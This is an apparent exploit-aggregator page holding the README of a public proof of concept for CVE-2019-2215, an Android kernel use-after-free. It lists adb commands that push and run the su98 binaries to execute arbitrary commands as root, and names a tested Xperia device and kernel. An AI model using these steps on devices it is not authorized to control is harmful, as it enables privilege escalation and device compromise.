Exploit for Use After Free in Google Android

## https://sploitus.com/exploit?id=2F22A06D-FEEB-5FB6-B41B-CA9039EA5BA0
# CVE-2019-2215
CVE-2019-2215 POC for kernel 3.18

Based on Maddie Stone's POC from https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

How to use:
- adb push su98 /data/local/tmp
- adb push su98-memory-kallsyms /data/local/tmp
- adb shell
- G8231:/ $ cd /data/local/tmp
- G8231:/ $ chmod 755 *
- G8231:/data/local/tmp $ ./su98-memory-kallsyms
- G8231:/data/local/tmp $ ./su98 -c "COMMAND"

Tested on:
- Xperia XZs G8231 - 8.0 - 41.3.A.2.247 - 3.18.66 Kernel